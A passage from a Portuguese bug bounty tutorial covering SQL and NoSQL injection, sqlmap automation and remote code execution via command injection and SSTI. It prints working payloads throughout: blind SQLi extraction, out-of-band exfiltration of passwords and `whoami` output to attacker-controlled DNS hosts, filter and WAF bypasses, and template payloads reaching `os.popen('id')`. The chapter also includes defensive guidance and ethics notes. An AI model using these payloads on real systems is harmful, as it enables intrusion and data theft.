Você varre `a`, `b`, `c` ... no **1º** caractere. Quando a resposta volta no estado "verdadeiro", achou a 1ª letra. Avança pro 2º (`...,2,1`) e repete. É lento na mão — por isso a gente

automatiza (Burp Intruder ou `sqlmap`). PortSwigger ensina a versão com **comparação** (`> 'm'`) pra fazer **busca binária** e reduzir o número de tentativas:

```
' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1) >
'm'-- -
```

Nível 4 — Blind time-based (inferência por tempo)

Quando nem a resposta muda visivelmente, o **tempo** vira seu canal. Você condiciona um `SLEEP` à pergunta: se a condição for verdadeira, o banco demora; se falsa, responde na hora.

```
' AND IF(SUBSTRING((SELECT senha FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)-- -
(MySQL)
```

Resposta levou ~5s → o 1º caractere é `a`. Levou <1s → não é. Mesma lógica do boolean, só que medindo relógio em vez de comparar conteúdo.

> **WAF**: firewall de aplicação web, um filtro que tenta barrar payloads maliciosos antes de chegarem ao app (Glossário).
>
> Se `SLEEP` estiver bloqueado por WAF, o MySQL tem um plano B: `BENCHMARK(N, expr)` repete uma expressão `N` vezes pra **queimar CPU** e atrasar a resposta — ex.: `BENCHMARK(5000000, MD5('a'))`. Não é um atraso fixo como `SLEEP` (depende da CPU do alvo), mas dá o mesmo sinal de tempo.

Nível 5 — Out-of-band (OAST)

Último recurso, quando não há diferença na resposta **nem** timing confiável. Você manda o banco fazer uma **requisição externa** (DNS/HTTP) para um domínio que você controla — tipicamente o **Burp Collaborator**. O exemplo oficial do PortSwigger no MSSQL usa `xp_dirtree` pra disparar uma consulta DNS carregando a senha no subdomínio:

```
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE
username='Administrator');
exec('master..xp_dirtree "//'+@p+'.SEU-ID.oastify.com/a"')-- -
```

O servidor faz a resolução DNS de `<senha>.SEU-ID.oastify.com` e você lê a senha no painel do Collaborator. (Fonte: PortSwigger — Blind SQL injection.)

Diferenças entre SGBDs (MySQL vs PostgreSQL vs MSSQL vs Oracle)

O mesmo conceito muda de **sintaxe** conforme o banco. Saber isso é o que separa "achei que era SQLi" de "explorei o SQLi". Valores conforme o SQL injection cheat sheet do PortSwigger:

Tarefa	MySQL	PostgreSQL	Microsoft (MSSQL)	Oracle
Versão	`@@version`	`version()`	`@@version`	`SELECT banner F`
Concatenar	`CONCAT('a','b')`	`'a'||'b'`	`'a'+'b'`	`'a'||'b'`
Substring	`SUBSTRING('foo',1,1)`	`SUBSTRING('foo',1,1)`	`SUBSTRING('foo',1,1)`	`SUBSTR('foo',1,`
Comentário	`--` , `#` , `/* */`	`--` , `/* */`	`--` , `/* */`	`--` , `/* */`
Delay (sempre)	`SLEEP(10)`	`pg_sleep(10)`	`WAITFOR DELAY '0:0:10'`	`dbms_pipe.recei`
Delay condicional	`SELECT IF(cond,SLEEP(10),'a')`	`SELECT CASE WHEN cond THEN pg_sleep(10) ELSE pg_sleep(0) END`	`IF (cond) WAITFOR DELAY '0:0:10'`	`SELECT CASE WHE dbms_pipe.recei ELSE NULL END FR`

> Detalhe que pega muita gente: o comentário `--` no MySQL (e em SQL padrão) **precisa de um espaço depois** (`-- `). Por isso o truque comum é escrever `-- -` (traço-traço, espaço, traço): garante o espaço e ainda deixa um caractere visível. Em URL, esse espaço vira `%20` ou `+`.

Automação com sqlmap

Confirmou na mão, entendeu o ponto de injeção? Aí sim o `sqlmap` acelera a extração. Ele é a ferramenta open-source padrão pra detectar e explorar SQLi automaticamente (detecta o SGBD, acha colunas, dumpa tabelas). **Use só depois de entender o que ele faz** — e com autorização.

```
# GET: aponta a URL com o parâmetro suspeito e enumera os bancos
sqlmap -u "https://app.exemplo.com/produtos?id=1" --dbs --batch
```

```
# POST: o corpo vai em --data; sqlmap testa cada campo
sqlmap -u "https://app.exemplo.com/login" --data="user=admin&pass=x" --dbs --batch
```

Flags que você mais vai usar (descrição conforme a doc oficial do sqlmap):

Flag	O que faz
`-u`	URL alvo
`--data`	corpo do POST a testar (ex.: `"user=a&pass=b"`)

Flag	O que faz
`--dbs`	lista os bancos de dados disponíveis
`--tables`	lista as tabelas (use `-D <banco>` pra fixar o banco)
`--dump`	extrai (dumpa) o conteúdo; combine com `-D <banco> -T <tabela>` pra mirar
`--batch`	modo não-interativo: assume as respostas padrão (bom pra script)
`--level` (1–5, padrão 1)	profundidade dos testes; `>=2` **testa também o header** `Cookie`, `>=3` o `User-Agent` / `Referer`
`--risk` (1–3, padrão 1)	risco dos testes; **2** adiciona time-based pesado, **3** adiciona testes `OR` (cuidado: `OR` pode casar muitas linhas, podendo alterar dados em `UPDATE` / `DELETE`)
`--os-shell`	tenta abrir um **shell de SO** no servidor (requer privilégios altos no banco; alto risco — só em lab/autorizado)
`--tamper`	aplica scripts que ofuscam o payload pra **driblar WAF**

A ordem natural de uso é: descobrir os bancos (`--dbs`), depois as tabelas (`--tables -D <banco>`) e por fim dumpar só o que interessa (`--dump -D <banco> -T <tabela> -C <colunas>`). Evite `--dump` sem alvo: ele puxa o banco inteiro.

```
# Mais agressivo + bypass de WAF com tamper scripts
sqlmap -u "https://app.exemplo.com/produtos?id=1" \
  --level=2 --risk=2 \
  --tamper=between,charencode,space2comment \
  --batch --dbs
```

> Os tamper scripts ficam em `/usr/share/sqlmap/tamper/`. `--tamper` recebe uma lista separada por vírgula. Comece **conservador** (`--level=2 --risk=2`) e só suba se necessário — `--risk=3` em produção pode causar estrago.

NoSQL Injection (o primo dos bancos não-relacionais)

Trocar MySQL por MongoDB **não te livra** de injeção — só muda a forma. Em bancos NoSQL não existe "aspa quebrando string"; o ataque é **injetar operadores de query**. O clássico no MongoDB é o `$ne` ("not equal").

Imagine um login que monta a busca assim:

```
// VULNERÁVEL — joga o corpo do request direto no filtro do Mongo
db.users.findOne({ username: req.body.username, password: req.body.password });
```

Se o atacante manda um **objeto** em vez de string, o JSON vira operador:

```
POST /login HTTP/2
Host: app.exemplo.com
```

```
Content-Type: application/json

{"username": {"$ne": null}, "password": {"$ne": null}}
```

`{"$ne": null}` casa com **qualquer** registro cujo campo não seja nulo — ou seja, o primeiro usuário do banco, frequentemente o admin. **Bypass de autenticação sem saber a senha.** (Fonte: OWASP WSTG — Testing for NoSQL Injection.)

E dá pra ir além do bypass: assim como no SQLi blind, operadores de comparação permitem **extrair** a senha caractere a caractere. O `$gt` ("greater than") combinado com `$regex` faz a busca binária — você pergunta "a senha começa com um caractere maior que `m`?" e observa se o login ainda casa:

```
POST /login HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"username": "admin", "password": {"$gt": ""}}
```

`{"$gt": ""}` casa com qualquer senha não-vazia (todo valor é "maior que" string vazia) — mais um bypass. Trocando por `{"$regex": "^a.*"}` e variando o prefixo, você infere a senha letra a letra, exatamente como no boolean-based.

> A defesa é a mesma filosofia do SQL: **valide tipos** (esperava string? recuse objeto) e nunca jogue o corpo do request cru no filtro.

Caso real-fictício: UNION-based num painel desatualizado

> Cenário **fictício, baseado em padrões reais** de bug bounty (anonimizado).

Você faz recon num alvo e encontra um produto de inventário/helpdesk **desatualizado** rodando num IP da empresa. Um endpoint utilitário aceita um parâmetro numérico que vai parar numa query sem tratamento:

```
GET /scripts/unlock_tasks.php?cycle=1&only_tasks=1 HTTP/2
Host: app.exemplo.com
```

Passo 1 — confirmar. Você troca `cycle=1` por um payload UNION. Sabendo (por testes de `ORDER BY`) que a query tem 2 colunas, injeta:

```
GET /scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(database())--
%20&only_tasks=1 HTTP/2
Host: app.exemplo.com
```

Note os `%20` (espaços) e o `--%20` no fim (comentário com o espaço obrigatório). A resposta reflete o nome do banco:

```
HTTP/2 200 OK
Content-Type: text/html

... appdb ...
```

Passo 2 — fingerprint do SGBD. Você troca `database()` por `(@@version)`:

```
?cycle=1 UNION ALL SELECT 1,(@@version)-- -&only_tasks=1
```

Resposta: `10.1.47-MariaDB-0+deb9u1`. Confirmado: **MariaDB** (dialeto MySQL), versão antiga. E `(user())` retorna o usuário do banco — útil pra avaliar privilégios.

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Response, o valor injetado (`appdb`, depois a string de versão) aparecendo no corpo HTML, destacado, onde antes vinha um dado da tarefa. O ponto-chave é o `UNION ALL SELECT 1,(...)` no parâmetro `cycle` — é ali que seu segundo SELECT entra.

Passo 3 — report. Título: `[SQLi] - UNION-based SQL Injection em /scripts/unlock_tasks.php (parâmetro cycle)`. Resumo focado no risco: "*qualquer usuário não autenticado consegue executar SQL arbitrário, extraindo nome do banco, versão e — com `information_schema` — qualquer tabela, incluindo credenciais*". PoC com os dois payloads (`database()` e `@@version`), prints do Burp, e **pare por aí**: provar leitura de metadados já demonstra impacto crítico sem dumpar PII real. Severidade **Crítica**:

- **CVSS v3.1:** `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (rede, sem autenticação, sem interação; o SGBD permite leitura e potencial escrita/RCE).
- **CVSS v4.0:** `9.3` — `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`.

Se você só comprovou **leitura** (sem demonstrar escrita), seja honesto e baixe o impacto de integridade/disponibilidade — vira algo como v3.1 `7.5` (`C:H/I:N/A:N`). Calibre conforme o que **você provou**, não o que é teoricamente possível. (Como estruturar isso bem: Como escrever um report que paga · calibrar CVSS: Severidade, Impacto e Triagem.)

Defesa em camadas

A correção **definitiva** ataca a raiz: nunca deixe o input do usuário ser interpretado como código. Tudo o mais é reforço.

1. Queries parametrizadas / Prepared Statements (a defesa nº 1)

Em vez de **concatenar**, você manda a query com **marcadores** (`?` ou `:nome`) e passa os valores **separadamente**. O driver garante que o valor é tratado como **dado**, nunca como

SQL — independente do que o usuário digitou. (Fonte: OWASP SQL Injection Prevention Cheat Sheet.)

```
//    ERRADO (PHP) — concatena input na query
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
$db->query($sql);

//    CORRETO (PHP/PDO) — placeholder + bind; o input nunca vira código
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_GET['email']]);
$user = $stmt->fetch();
```

```
//    ERRADO (Node, mysql2) — template string concatenando
db.query(`SELECT * FROM users WHERE id = ${req.query.id}`);

//    CORRETO (Node, mysql2) — placeholder ? + array de valores
db.execute("SELECT * FROM users WHERE id = ?", [req.query.id]);
```

```
#    ERRADO (Python) — f-string monta a query
cur.execute(f"SELECT * FROM users WHERE id = {request.args['id']}")

#    CORRETO (Python, DB-API) — placeholder %s + tupla de parâmetros
cur.execute("SELECT * FROM users WHERE id = %s", (request.args['id'],))
```

Repare: nas versões CORRETAS, a string da query é **fixa**. Não importa se o usuário mandar `1' OR 1=1--`; isso vira o **valor literal** procurado na coluna `id`, e a busca simplesmente não acha nada. Código e dado ficam em compartimentos separados.

Prepared statement não é bala de prata — protege o VALOR, não o identificador. O placeholder (`?`, `:id`, `%s`) blinda **valores** (o que vai em `WHERE x = ?`). Mas **nome de coluna, nome de tabela e `ORDER BY`** não podem ser parametrizados — se você os concatena a partir de input do usuário, a injeção volta (use allowlist, abaixo). E há um caso mais sutil: pesquisa da Slcyber/Assetnote mostrou dar pra **confundir o parser do PDO** (driver do PHP) — injetando um *placeholder* falso seguido de **byte nulo** (`%00`), parte do payload passa a ser interpretada como SQL em vez de dado literal, viabilizando SQLi **mesmo com prepared statement**, sobretudo quando há SQL dinâmico. Visto na prática na máquina **CyberWaf** (HackingClub): o endpoint usava PDO, mas o **nome da coluna** vinha do usuário e o parser foi confundido com algo como `?name=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;#&verify=\?#%00` enumerando todas as tabelas apesar do prepared statement. **Lição:** parametrize **sempre**, mas onde precisar de identificador dinâmico, valide por **allowlist estrita** — não confie só no driver.

2. Allowlist onde não dá pra parametrizar

Nome de tabela, nome de coluna e direção de `ORDER BY` **não** podem ser bind. Aí use uma **lista branca** — mapeie o input pra um valor seguro conhecido:

```
//    ORDER BY via allowlist — o input só escolhe entre opções fixas
$colunasPermitidas = ['preco', 'nome', 'data'];
$ordem = in_array($_GET['ordem'], $colunasPermitidas, true) ? $_GET['ordem'] : 'nome';
$sql = "SELECT * FROM produtos ORDER BY $ordem";   // $ordem é garantidamente seguro
```

3. ORM (parametriza por padrão — mas atenção ao raw)

ORMs como Eloquent, Prisma, Hibernate, SQLAlchemy parametrizam automaticamente. **Porém**, queries "raw" dentro do ORM voltam a ser vulneráveis se você concatenar:

```
//    Eloquent — bindings nomeados, seguro
User::whereRaw('email = :email', ['email' => $request->email])->first();
//    Eloquent raw concatenando — vulnerável de novo
User::whereRaw("email = '" . $request->email . "'")->first();
```

4. Reforços (não substituem o nº 1)

- **Least privilege:** a conta da aplicação no banco deve ter **só** o necessário (sem `DROP`, `FILE`, sem ser `root`). Assim, mesmo que vaze um SQLi, o estrago é limitado.
- **Validação de tipo:** se o parâmetro é numérico, **rejeite** o que não for número antes de chegar ao banco.
- **Erros genéricos:** desligue mensagens de erro detalhadas em produção — elas alimentam o error-based.
- **WAF:** ajuda a barrar payloads óbvios, mas é **bypassável** (vide `--tamper`). É camada extra, **nunca** a defesa principal.

> **O que NÃO basta:** escapar aspas na mão (frágil e bypassável — a própria OWASP **desencoraja**), confiar só no WAF, esconder a mensagem de erro mas manter a query concatenada, ou validar no frontend.

Ferramentas + labs legais

- **Burp Suite** — Repeater (testar payloads), Intruder (automatizar inferência blind), Collaborator (OAST). Apresentado nos Fundamentos.
- **sqlmap** — automação de detecção/extração (use com cabeça e autorização).
- **Labs pra praticar (autorizados):**
- PortSwigger Web Security Academy — SQL injection (a melhor fonte gratuita, com labs por tipo)
- DVWA e OWASP Juice Shop (rodam local)

- TryHackMe, HackTheBox, HackingClub

> **WriteUp prático (ponta a ponta):** quer ver SQLi numa caçada real e completa — recon → SQLi → extração do banco → shell → escalação de privilégio? A máquina **Lion** do HackingClub está resolvida passo a passo em SQL Injection da teoria à prática (máquina Lion). Este capítulo é a *metodologia*; o WriteUp é a *execução*.

Checklist do caçador

- [ ] Mapeei parâmetros candidatos (`id` , `order` , `search` , corpo de POST, headers).
- [ ] Testei **aspa simples** e confirmei balanceando (`''`).
- [ ] Testei **lógica booleana** (`AND 1=1` vs `AND 1=2`) e comparei as respostas.
- [ ] Se sem diferença visível, testei **time-based** (`SLEEP` / `pg_sleep` / `WAITFOR`).
- [ ] **UNION:** achei o nº de colunas (`ORDER BY` / `UNION SELECT NULL`) e a coluna refletida.
- [ ] Fiz **fingerprint** do SGBD (`@@version` / `version()`) e ajustei a sintaxe (concat, comentário, delay).
- [ ] Extraí **metadados** (`database()` , `information_schema`) — sem dumpar PII real.
- [ ] Para JSON/Mongo, testei **operadores** (`{"$ne": null}`).
- [ ] Confirmei que SQLi está **no escopo** do programa.

O que você precisa lembrar

- SQLi é a confusão entre **código e dado**: input do usuário tratado como comando.
- **In-band** (UNION/erro) entrega o dado na resposta; **blind** (boolean/tempo) você infere; **OAST** usa canal externo.
- A sintaxe muda por SGBD — **fingerprint primeiro**, payload depois.
- A defesa que mata a classe inteira é **query parametrizada**. WAF e escape são reforço, não solução.

> **Dica de ouro:** se uma **aspa** quebra a página e `'1'='1` vs `'1'='2` mudam a resposta, você tem SQLi — pare de adivinhar e **prove** com `database()` / `@@version` . E na hora de defender: se a string da sua query **muda** conforme o input do usuário, você está concatenando errado. Query parametrizada é uma string **fixa** com valores ao lado.

Nota ética

Tudo aqui é para **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. SQLi é especialmente perigoso porque um payload mal calibrado (ou o `sqlmap` agressivo) pode **corromper ou apagar dados reais** de usuários. Em alvo de produção: prove a leitura de **metadados** (versão, nome do banco) e **pare** — não dumpe PII, não escreva, não delete. Injetar SQL em sistema de terceiros sem autorização é crime, e

desnecessário quando há tanto lab bom pra treinar. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP A03:2021 — Injection
- OWASP — SQL Injection (attack)
- OWASP — SQL Injection Prevention Cheat Sheet
- PortSwigger — SQL injection · Blind SQLi · Cheat sheet
- PortSwigger — NoSQL injection · OWASP WSTG — Testing for NoSQL Injection
- PayloadsAllTheThings — SQL Injection
- sqlmap — Usage (doc oficial)
- reddelexc/hackerone-reports — Top SQLi reports

RCE: Command Injection, SSTI e Upload que viram shell

O bug que vale o programa inteiro

Existe um momento que todo caçador de bug sonha: você manda `;id` num campo qualquer e a resposta volta com `uid=33(www-data)`. Não é mais "consigo ler a fatura de outro cliente". Agora é **"o servidor roda o comando que eu mandar"**. Isso é **RCE — Remote Code Execution**, o topo da cadeia alimentar das vulnerabilidades web.

RCE é a falha que faz o programa parar tudo pra te ouvir. Enquanto um IDOR expõe **dados** (já vimos isso no capítulo 10 — Broken Access Control), um RCE entrega o **host**: ler arquivos, pivotar pra rede interna (usar a máquina invadida como trampolim pra alcançar outras), virar root. Por isso é também a que mais paga — de **alguns milhares** num caso autenticado e contido até **valores de cinco dígitos** quando é não-autenticado e crítico.

A boa notícia pra quem está começando: a maioria dos RCE em bug bounty **não** é exploit de memória cabeludo. São quatro caminhos repetidos à exaustão, e todos têm a mesma raiz — **input do usuário chegando num lugar que executa coisas**. Neste capítulo a gente cobre os quatro: **OS Command Injection**, **SSTI**, **Upload inseguro → webshell** e, de leve, **desserialização**. Do `{{7*7}}` ao shell.

O que é RCE (e a raiz comum dos quatro caminhos)

RCE é fazer o servidor **executar código ou comandos que você controla**. O "remote" é literal: você está do outro lado da internet e mesmo assim o processo da aplicação roda o que você mandou.

> **Analogia:** imagine um caixa de banco que segue ordens escritas num formulário. O sistema seguro lê o formulário como **dados** ("depositar R$100 na conta 1001"). O sistema vulnerável trata cada linha como **comando a executar** — então se você escrever no campo "valor" a frase "*...e também abra o cofre e me entregue tudo*", ele obedece. A falha nunca é o atacante ser esperto; é o sistema **não separar dado de instrução**.

Essa é a raiz dos quatro caminhos. Em cada um, um dado seu cruza uma fronteira onde devia continuar sendo dado e vira instrução:

Caminho	Onde o dado vira instrução	Resultado
OS Command Injection	input concatenado num **comando de shell** (`system()` , `exec()`)	comandos no SO
SSTI	input concatenado num **template** que é avaliado	código na linguagem da app (Python/PHP/Java) → SO

Caminho	Onde o dado vira instrução	Resultado
Upload inseguro	arquivo seu salvo num diretório **executável** pelo servidor	webshell → comandos no SO
Desserialização	bytes seus reconstruídos em **objetos** que disparam código	gadget chain → comandos no SO

Guarde isso: o resto do capítulo é só detalhar **como** cruzar cada fronteira — e como o defensor fecha cada uma.

Por que importa (e quanto paga)

O impacto de RCE é o mais fácil de vender pro programa porque ele engloba quase todos os outros:

- **Comprometimento total do host**: ler/escrever qualquer arquivo (`/etc/passwd` , configs com senha, chaves privadas), criar usuários, instalar backdoor.
- **Pivot pra rede interna**: do servidor exposto você alcança bancos de dados, serviços internos, metadata da cloud — vira a porta de entrada pra tudo. (O caminho inverso também existe: um SSRF que chega num Redis interno via `gopher://` vira RCE — veja 16 — SSRF.)
- **Vazamento em massa**: com shell, dump do banco inteiro é trivial.

Em programas reais, RCE costuma sentar na faixa **Crítica**. Casos contidos (autenticado, baixo privilégio, ambiente de HML) ainda pagam de **R$1.000 a R$3.000**; um RCE não-autenticado em produção entra em **dezenas de milhares**. O que move o ponteiro é **privilégio** (rodou como `www-data` ou como `root` ?) e **autenticação** (precisava estar logado?).

> **Cuidado redobrado na PoC** (Proof of Concept — a prova mínima de que o bug existe; detalhe no Glossário)**.** RCE é a classe onde é mais fácil **passar do ponto** e causar dano real. A regra é provar o mínimo: `id` , `whoami` , `hostname` , ou um *callback* OOB. **Nunca** `cat` em dado de cliente, nunca apague nada, nunca abra reverse shell (conexão em que o servidor invadido "liga de volta" pra você, te dando um terminal nele) sem autorização explícita. Falamos disso na nota ética no fim.

Como funciona por trás

Vamos ao mecanismo de cada caminho, com o código vulnerável real do backend — porque entender *o porquê* é o que te deixa replicar em qualquer linguagem.

Command Injection — a concatenação fatal

O servidor monta uma linha de comando juntando seu input via **shell**:

```
// Backend VULNERÁVEL (PHP) — ferramenta de "ping" num painel
$host = $_GET['host'];
system("ping -c 1 " . $host);   // <- seu input entra cru na linha de comando
```

Se você manda `host=8.8.8.8`, roda `ping -c 1 8.8.8.8`. Mas o shell interpreta **metacaracteres**. Se você manda `host=8.8.8.8; id`, o shell vê **dois comandos** separados por `;` e roda os dois:

```
ping -c 1 8.8.8.8; id
```

O `;` é o ponto onde dado virou instrução. O shell não tem como saber que `id` "não devia estar ali" — pra ele é só mais um comando.

SSTI — quando o input entra no template

Template engine é o que monta HTML com dados dinâmicos (Jinja2 no Python/Flask, Twig no PHP/Symfony, Freemarker no Java). O fluxo seguro passa o dado como **variável**:

```
# SEGURO — username é um VALOR passado ao template
render_template("hello.html", username=request.args.get("name"))
```

O fluxo vulnerável **concatena** o input dentro do **texto do template** e só então renderiza:

```
# VULNERÁVEL (Flask/Jinja2) — input vira PARTE do template
from jinja2 import Template
nome = request.args.get("name")
Template("Olá " + nome).render()   # <- o template é construído com input do usuário
```

Agora `name={{7*7}}` não é texto: o Jinja2 **avalia** `7*7` e devolve `Olá 49`. Você está executando expressões na linguagem do template — e de expressão a `os.popen('id')` é um pulo.

Upload — o arquivo no lugar errado

```
// VULNERÁVEL — salva com o nome original, sem validar o conteúdo
move_uploaded_file($_FILES['avatar']['tmp_name'], "uploads/" . $_FILES['avatar']
['name']);
```

Se `uploads/` é servido pelo Apache/PHP **e** você consegue salvar um `shell.php` lá, ao acessar `https://alvo.com/uploads/shell.php` o servidor **executa** o PHP. O arquivo deixou de ser "dado armazenado" e virou "código executável".

Desserialização — bytes que viram objetos

Serializar = transformar um objeto em bytes pra guardar/transmitir; desserializar = reconstruir. O problema: reconstruir um objeto pode **disparar métodos** (construtores,

`__wakeup` no PHP, `readObject` no Java). Se o atacante controla os bytes, ele monta uma cadeia de objetos (*gadget chain*) cuja reconstrução acaba chamando algo como `Runtime.exec()`.

Tipos e variações

Antes de explorar, o mapa do território:

OS Command Injection 1. **In-band (com retorno)** — a saída do comando volta na resposta HTTP. O sonho. 2. **Blind** — o comando roda mas a saída não aparece. Confirma por **tempo** (`sleep` / `ping`) ou **OOB** (DNS/HTTP pra um host seu). 3. **Argument injection** — você não injeta comando novo, mas injeta **flags** num binário (ex.: `-o` numa chamada de `curl`).

SSTI — varia por **engine**: Jinja2 (Python), Twig (PHP), Freemarker/Velocity (Java), ERB (Ruby), Mako, Smarty etc. Cada uma tem sintaxe e payload de escalada diferentes.

Upload → RCE — por **bypass de validação**: extensão, `Content-Type` /MIME, *magic bytes*, ou **path** (onde o arquivo cai). Combinações são comuns.

Desserialização — Java (`ObjectInputStream` , ysoserial), PHP (`unserialize()` , POP chains), .NET, Python (`pickle`), Node (`node-serialize`).

Recon — como encontrar superfície de RCE

RCE mora em **funções que tocam o sistema**. Onde olhar:

- **Command Injection**: qualquer feature que cheira a comando externo — *ping/ traceroute/nslookup* em painéis de rede, conversão de imagem/PDF (ImageMagick, Ghostscript), geração de QR/thumbnail, "exportar relatório", webhooks, campos que viram nome de arquivo.
- **SSTI**: qualquer lugar onde **seu texto reaparece renderizado** — campos de busca, nome de perfil, **e-mails gerados por template** (reset de senha, convites, notas), assunto/corpo de notificação, "preview" de conteúdo. (Lembra que entrada refletida também é território de XSS, capítulo 00 — Fundamentos? SSTI é o primo do lado servidor.)
- **Upload**: avatar, anexo de ticket, importação de planilha, foto de documento, qualquer `multipart/form-data` com arquivo.
- **Desserialização**: cookies/tokens que parecem base64 de objeto (Java começa com `rO0` em base64, `AC ED 00 05` em hex), parâmetros `ViewState` , campos `__VIEWSTATE` , payloads que viajam serializados.

Ferramentas pra mapear (apresentadas no capítulo 01 — Recon):

```
# Endpoints/parâmetros escondidos vivem nos arquivos JS — leia CADA um
echo https://alvo.com | gau | grep '\.js$' | httpx -mc 200 -content-type | grep
javascript
```

```
# Dorks pra achar painéis e ferramentas administrativas (alta chance de command injection)
site:alvo.com inurl:ping | inurl:exec | inurl:cmd | inurl:tool | inurl:diag
```

> **Sinal de ouro pra SSTI:** se um campo te xinga com **erro 500 / stack trace** quando você manda `{{`, `${` ou `%}`, acendeu a luz. Quebrar o parser é meio caminho — a engine está processando seu input como template.

Exploração passo a passo

Parte A — OS Command Injection

Nível 1 — Separadores (detecção in-band). O shell aceita vários metacaracteres pra encadear comandos. Os que funcionam em **Linux e Windows** são `&`, `&&`, `|`, `||`; os **só-Unix** são `;`, a quebra de linha (`\n` / `0x0a`), as crases `` `comando` `` e o `$(comando)`. Teste cada um a partir de um valor que já funciona:

```
POST /api/tools/ping HTTP/2
Host: alvo.com
Content-Type: application/x-www-form-urlencoded

host=127.0.0.1;id          # ; encadeia (Unix)
host=127.0.0.1|id          # pipe: saída do 1º vira entrada do 2º
host=127.0.0.1&&id         # só roda o 2º se o 1º der certo
host=127.0.0.1`id`         # crase: substitui pela saída de id
host=127.0.0.1$(id)        # idem, sintaxe moderna
```

Se a resposta trouxer `uid=…`, é in-band e você confirmou. Esses são os separadores exatos que a PortSwigger documenta.

Nível 2 — Blind por tempo. A saída não volta? Faça o servidor **demorar de propósito**. Se a resposta que era instantânea passa a levar ~10s, o comando rodou:

```
host=127.0.0.1 & ping -c 10 127.0.0.1 &     # Linux: 10 pings ≈ 10s
host=127.0.0.1 & sleep 10 &                 # mais direto
```

O `ping -c 10 127.0.0.1` é o exemplo da própria PortSwigger pra blind — `-c 10` manda 10 pacotes, ~1s cada.

Nível 3 — Blind por OOB (a técnica que nunca falha). Tempo é frágil (rede oscila). O método robusto é **out-of-band**: faça o servidor te mandar uma requisição DNS/HTTP pra um host que você controla. Use o **Burp Collaborator** (ou `interactsh`) — ele te dá um subdomínio único e mostra qualquer interação que chegar:

```
host=127.0.0.1 & nslookup ABCDE.seu-id.oast.fun &
```

Se aparecer um *hit* DNS de `ABCDE.seu-id.oast.fun` no Collaborator, o comando executou — **mesmo sem nada voltar na resposta HTTP**. Dá até pra **exfiltrar** a saída pelo subdomínio:

```
host=127.0.0.1 & nslookup `whoami`.seu-id.oast.fun &
```

A consulta DNS vira algo como `www-data.seu-id.oast.fun` — a saída de `whoami` viajou no nome do host. Padrão idêntico ao da PortSwigger (lá com `nslookup kgji2ohoyw.web-attacker.com`).

Nível 4 — Bypass de filtros. Bloquearam espaço, `;` ou `cat`? O shell tem mil sinônimos:

Filtro	Bypass	Por quê
espaço bloqueado	`${IFS}`	variável de campo de separação do shell = espaço
espaço bloqueado	`{cat,/etc/passwd}`	*brace expansion* separa por vírgula
`/` bloqueado	`${PATH:0:1}`	extrai o `/` da variável PATH
palavra `cat` na blacklist	`c\at`, `c""at`, `ca''t`	shell ignora `\` /aspas vazias na hora de resolver o binário
comando como string	`$(printf "\151\144")`	`id` em octal

> Repare no padrão `$(curl${IFS}oast.me)` (curl + `${IFS}` no lugar do espaço): é exatamente assim que se contorna filtro de espaço numa injeção de comando — vamos ver esse formato num CVE real mais adiante.

Parte B — SSTI

Passo 1 — Detectar. Comece com o polyglot que quebra parser de várias engines de uma vez (recomendado pela PortSwigger): mande `${{<%[%'"}}%\` num campo refletido. Se der erro de template, há SSTI. Então confirme com a multiplicação:

```
{{7*7}}    -> se renderizar 49, é uma engine de chaves duplas (Jinja2, Twig)
${7*7}     -> se renderizar 49, é de cifrão (Freemarker, Velocity, e a maioria das
Java)
```

O detalhe **crucial**: `{{7*7}}` precisa virar **49**, não `7*7` (texto bruto, sem SSTI) e nem `14` (isso seria `7+7` — não confunda). 49 = a multiplicação **foi avaliada no servidor**.

Passo 2 — Identificar a engine. Sabendo se é `{{ }}` ou `${ }`, refine com testes que só uma engine entende:

Teste	Renderiza	Engine provável
`{{7*7}}` → `49` e `{{7*'7'}}` → `7777777`	string repetida 7×	**Jinja2** (Python) — repete a string `'7'` sete vezes
`{{7*7}}` → `49` e `{{7*'7'}}` → `49`	número	**Twig** (PHP) — converte `'7'` em número (type juggling) e multiplica
`${7*7}` → `49`	número	**Freemarker / Velocity** (Java)
`<%= 7*7 %>` → `49`	número	**ERB** (Ruby)

> O par `{{7*'7'}}` é o desempate clássico da PortSwigger: `7777777` = **Jinja2**, `49` = **Twig**. As duas usam `{{ }}`, então a multiplicação simples não distingue — a multiplicação por **string** sim.

Passo 3 — Escalar pra RCE. Aqui o caçador iniciante trava e o sênior brilha. A ideia geral é a mesma em toda engine: **a partir de um objeto acessível, navegar até um objeto que executa comandos**. Payloads verificados (PayloadsAllTheThings / PortSwigger):

Jinja2 (Python) — o caminho clássico via `os.popen`:

```
# Acessa o módulo os por um objeto built-in e roda o comando
{{ cycler.__init__.__globals__.os.popen('id').read() }}

# Variante histórica: sobe na árvore de classes e acha um subclass útil
{{ ''.__class__.__mro__[1].__subclasses__() }}   # lista subclasses; ache Popen pelo índice
```

`cycler.__init__.__globals__` te dá o namespace global do módulo onde `cycler` vive — e lá mora `os`. De `os.popen('id').read()` sai a saída do comando.

Twig (PHP) — em **Twig 1.x** (legado/EOL) via callback de filtro; em **Twig 2/3** (o que se encontra hoje) via filtro `map` / `filter`:

```
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# SÓ Twig 1.x (EOL): em 2/3, _self vira string e isto falha
{{ ['id'] | map('system') | join }}     # alternativa via filtro map (Twig moderno); | join concatena a saída
```

Freemarker (Java) — a classe utilitária `Execute`:

```
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
```

Velocity (Java) — chega no `Runtime` por reflexão:

```
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
```

